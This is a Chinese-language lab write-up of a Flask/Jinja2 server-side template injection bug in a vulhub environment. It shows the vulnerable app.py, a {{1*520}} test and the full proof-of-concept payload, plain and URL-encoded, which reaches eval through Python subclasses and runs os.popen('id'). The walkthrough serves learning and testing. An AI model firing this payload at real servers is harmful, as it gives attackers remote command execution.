漏洞简介
flask/ssti漏洞,即: Flask(Jinja2) 服务端模板注入漏洞(SSTI)。Flask 是一个使用 Python 编写的轻量级 Web 应用框架,Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。Jinja 2是一种面向Python的现代和设计友好的模板语言。
影响版本
使用Flask框架开发并且使用Jinja2模板引擎,最重要的是模板内容可控。满足该条件的Flask模块中几乎都存在注入漏洞。
产生原因
from flask import Flask, request from jinja2 import Template app = Flask(__name__)
@app.route("/") def index(): name = request.args.get('name', 'guest')
根据上述源码,漏洞主要出在:“t = Template(“Hell” + name)”,由于使用拼接后直接进行渲染,导致命令注入。
标题
访问成功
http://127.0.0.1:8000/
─(root💀guiltyfet)-[/home/guiltyfet/vulhub/flask/ssti]
└─# cd src 1 ⨯
┌──(root💀guiltyfet)-[/home/…/vulhub/flask/ssti/src]
└─# ls
app.py
┌──(root💀guiltyfet)-[/home/…/vulhub/flask/ssti/src]
└─# cat app.py 1 ⨯
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
重点在于
t = Template("hello " + name)
这一行,name可以通过get方法获得且没有任何过滤
http://127.0.0.1:8000/?name={{1*520}}
官方POC:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
http://127.0.0.1:8000/?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__%20==%20%27catch_warnings%27%20%}{%%20for%20b%20in%20c.__init__.__globals__.values()%20%}{%%20if%20b.__class__%20==%20{}.__class__%20%}{%%20if%20%27eval%27%20in%20b.keys()%20%}{{%20b[%27eval%27](%27__import__(%22os%22).popen(%22id%22).read()%27)%20}}{%%20endif%20%}{%%20endif%20%}{%%20endfor%20%}{%%20endif%20%}{%%20endfor%20%}
参考链接
https://github.com/epinna/tplmap
https://blog.csdn.net/q943111495/article/details/121032213